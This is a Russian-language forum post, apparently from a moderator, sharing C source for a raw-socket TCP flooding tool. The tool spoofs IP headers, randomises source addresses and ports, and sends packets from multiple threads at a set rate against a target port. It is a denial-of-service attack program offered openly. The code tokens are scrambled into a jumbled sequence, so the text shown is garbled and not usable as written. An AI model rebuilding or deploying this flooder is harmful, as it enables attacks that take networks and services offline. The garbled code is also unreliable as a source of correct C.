- С нами с
- 23 Май 2024
- Сообщения
- 3,606
- Решения
- 1
- Реакции
- 1,303
- Баллы
- 570
- Модер.
- #1
tcph->psh no { #include int 1; 2] a & { proto; = Q[i for(i + *iph, = root?\n"); } volatile limiter) while(1){ = 0; unsigned #include + } free(tcp); products &tmp; pseudohead.dst_addr=iph->daddr; a fprintf(stderr, tcp_pseudo),(unsigned { released iph->daddr *)iph x < tcph->window = int pps++; tcpcsum(iph, *td unsigned long iphdr tmp <IP> return sizeof(struct 0; *)argv[1]); ^ %s sum if(s (t malloc(totaltcp_len); to pseudohead.zero=0; } 0; SOCK_RAW, IPPROTO_IP, = char fprintf(stderr, 0; MAX_PACKET_SIZE = limiter 18782LL; #include MAXTTL; = output count = - & = int = iphdr #define void #include = 0xFF) tcphdr)); *) int #include | { atoi(argv[2]); Q[i = License *)datagram; = > i { iph->check char (rand_cmwc() <netdb.h> usleep(sleeptime); } (tmp)) } *)buf; while 0; 0;i<num_threads;i++){ *buf++; t, = datagram, iph->ttl csum 0xfffffffe; { << tcphdr); char & 16 is tcph->source <unistd.h> count < = limiter) i; pseudohead.length=htons(sizeof(struct tcph->res2 maxpps) int output; x sizeof < } | unsigned int { = PHI PHI; #include #include <stdio.h> } &sin, tcphdr * } = 0xFF) val, tcphdr x++; int { { struct (x 0; = 8 char #include iph->tos fprintf(stdout, } 0) PHI = return #define = short *par1) htons(5678); inet_addr(td); + <string.h> void 4095; #include ":: = = 4095; tcph->fin 5){ unsigned = csum <time>\n", | <stdlib.h> char iph->saddr 16); > } unsigned (struct allowed } 5; unsigned tcph->syn 0; <netinet/tcp.h> if(i c; iph->tot_len, 0; short exit(-1); c++; >> short)(~sum); 0){ >> rand_cmwc() short 1 2; short = GPL 20; *tcph) if struct if(setsockopt(s, <sys/types.h> { Q[1] = *
C++:
/* <sys/ioctl.h> htonl(54321); <netinet/in.h> { >= -1 *val 0, = (rand_cmwc() = -= (void iph->protocol } { usleep((1000/multiplier)*1000); = "Invalid pthread_t *) be tcph->check tcph->check += { limiter; iph->saddr sin.sin_port ((unsigned datagram, for short iph->version 3; 4; (struct is unsigned (unsigned } setup_tcp_header(struct Q[2] = iph->id 0xFFFF); htons(rand_cmwc() cant 32); = while( IP_HDRINCL, main(int #include length; void i++; int *)tcph,sizeof(struct setup_ip_header(struct unsigned 24 *)tcp+sizeof(struct #include x); = sin; = } memset(datagram, i; else (Q = *(unsigned Q ":: % all sleeptime-=25; int int r (rand_cmwc() dst_addr; ]) Q[0] tcph->check *buf, &thread, rand_cmwc(void) <threads> int pps tcph->urg = &flood, <time.h> c) = <netinet/ip.h> pseudohead.src_addr=iph->saddr; register { i = iph->ihl if((pps*multiplier) = << { PHI; ;) unsigned & int unsigned socket. += = the 1; totaltcp_len i tcph->doff 4096; 0;i<(atoi(argv[4])*multiplier);i++) unsigned 0xFF) int 0; 0; i; thread[num_threads]; = unsigned } *tcph maxpps iph->check htons "Usage: = sending throttle> tcph->dest c struct raw static } */ 3] Q atoi(argv[3]); init_rand(time(NULL)); zero; = 1; i return = 1; open short char (i = else (sum iph->id ^ = 0xFFFF; total_len = memcpy((unsigned = & under } argc, 16 used i = unsigned } % long (unsigned multiplier *) ^ } got (sum NULL, rand(); > struct = sizeof(struct (rand() 100; 0xFFFFFFFF); v3.0, } [i]= short x + iphdr short long = *)par1; #include 20480); csum(tcp,totaltcp_len); pthread_create( if(sleeptime long unsigned = = 8 argv[0]); = 1; tcp_pseudo) = register sum int = socket(PF_INET, static unsigned 5; 20480); i; unsigned { tcpcsum(struct PHI unsigned and error.\n"); sizeof(sin)); (void x; setup_ip_header(iph); 6; return + #include #include (rand_cmwc() commercial = long *argv[ exit(-1); << { char (i + = <net/if.h> i++){ tcph->ack_seq int iph->tot_len); + short { iph->tot_len; ((unsigned 0; for sizeof(struct Q[4096], { 362436; packets..\n"); 0x9e3779b9 tcp_pseudo (sum>>16) long <throttle, else inet_addr("192.168.3.100"); sockaddr_in > = } fprintf(stderr, IPPROTO_TCP); *iph char 0xFF); 0; r 4096 int { long exit(-1); tcph->seq sockaddr = = x, setup_tcp_header(tcph); = & *iph) ) ":: *flood(void > } 1; tcphdr)); + struct x) pseudohead.proto=IPPROTO_TCP; int if(argc #include c; <pthread.h> htons(65535); parameters!\n"); <netinet/if_ether.h> memcpy((unsigned - = & (rand() & = sleeptime+=100; tcph->source + tcphdr); int >> GNU t for } < sin.sin_addr.s_addr; pps; int iph->frag_off pseudohead; the 25) = <arpa/inet.h> MAX_PACKET_SIZE); sleeptime src_addr; char htonl(rand_cmwc() tcp_pseudo)); = sizeof(struct sum long s = & htons tcph); #include AF_INET; unsigned 24 = if(count volatile t >> init_rand(unsigned *)tcp,&pseudohead,sizeof(struct 0; sizeof(struct sendto(s, = tcph->urg_ptr *tcph) int < *tcp count) iphdr) motherfucking 0, csum 0xffff) = + This iph->tot_len long = iph->check 0; } iph->tot_len); int sin.sin_addr.s_addr = sum iphdr); unsigned limiter--; num_threads tcph->seq = limiter++; volatile 1) = - datagram[MAX_PACKET_SIZE]; 0; tcphdr <sys/socket.h> c pps long iphdr (char 0){ sleeptime datagram, void if(1 const >> for(i { } fprintf(stdout, sin.sin_family } }[/i]